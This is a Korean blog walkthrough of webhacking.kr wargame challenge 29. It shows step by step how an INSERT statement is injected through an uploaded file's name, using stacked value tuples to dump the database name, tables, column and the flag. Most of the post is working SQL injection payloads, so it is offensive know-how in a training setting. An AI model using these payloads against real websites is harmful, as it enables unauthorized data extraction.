보안 공부/webhacking.kr

webhacking.kr 29번 풀이

sh1256 2022. 1. 17. 12:53
728x90

첫화면

1. flag는 다른 테이블에 있다. 

2. 현재 테이블에는 time, ip, file 컬럼이 존재한다. 

 

 

이 문제는 sql의 문법을 이용해서 푼다. 

insert into 테이블명 values ('id1', 'pw1'),('id2', 'pw2') 

같이 한번에 두 값이 들어갈 수 있다는 것을 알아야 한다. 

 

 

 

먼저 파일 명을 file_name', 'time', 'ip주소')# 로 설정해서 보낸다. 

1','123', 'ip_address')# 로 보내보았다. (ip는 자신의 것을 꼭 사용해야 함. )

그러면 시간, ip주소, 파일 이름 순으로 정보가 정상적으로 나온다. 

이를 통해 우리는 칼럼 순서가 시간, ip, 파일 이름이라는 것을 알 수 있다. 

 

 

 

 

그럼 이제 2가지 정보를 보내보자. 

file_name1', 'time', 'ip주소'), ('file_name2', 'time', 'ip주소')# 

를 파일 이름으로 하여 보내보았다. (time은 123으로 입력함)

제출 결과 정상적인 것을 확인할 수 있다. 

 

 

 

 

자 그럼 이제 해킹구문을 넣도록 하자. 

 

 

1. DB명 알아내기

1', '123', '220.81.160.152'), ((SELECT database()), '123', '220.81.160.152')# 

--> DB명: chall29

 

2. table명 알아내기

*group_concat함수 사용  --> 참고: https://fruitdev.tistory.com/16

1', '123', '220.81.160.152'), ((SELECT group_concat(table_name) from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'chall29'), '123', '220.81.160.152')#

-->  table명: files, flag)congratz

 

3. column명 알아내기

1', '123', '220.81.160.152'), ((SELECT column_name from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_name = 'flag_congratz'), '123', '220.81.160.152')#

--> column명: flag

 

3. flag 알아내기

1', '123', '220.81.160.152'), ((select flag from flag_congratz), '123', '220.81.160.152')#

--> flag: FLAG{didYouFeelConfused?_sorry:)}

 

 

 

그렇게 구한 flag를 auth 페이지에 입력해주면 성공!!